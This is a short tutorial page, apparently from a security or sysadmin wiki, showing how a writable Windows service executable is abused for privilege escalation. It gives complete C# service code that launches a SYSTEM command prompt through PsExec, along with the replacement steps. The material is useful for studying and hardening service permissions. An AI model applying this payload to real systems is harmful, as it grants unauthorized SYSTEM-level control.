Privilege escalation

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With a writable Windows service

If the executable of a Windows service is writable by non-admin users, you can replace it with another executable that will launch a command prompt in the system account.

Program.cs
class Program
{
    static void Main(string[] args)
    {
        ServiceBase.Run(new ServiceBase[] { new Service() });
    }
}

public class Service : ServiceBase
{
    protected override void OnStart(string[] args)
    {
        Thread.Sleep(60000);
        // Windows services run in session 0 and user account runs in session 1.
        // use sysinternals' PsExec to run cmd.exe in session 1.
        Process.Start(@"C:\temp\PsExec.exe", @"-accepteula -d -i 1 C:\Windows\System32\cmd.exe");
    }
}
  1. Replace the executable of the Windows service by the compiled application.
  2. A command prompt will be launched when the Windows service starts.
Dos.svg
whoami
REM nt authority\system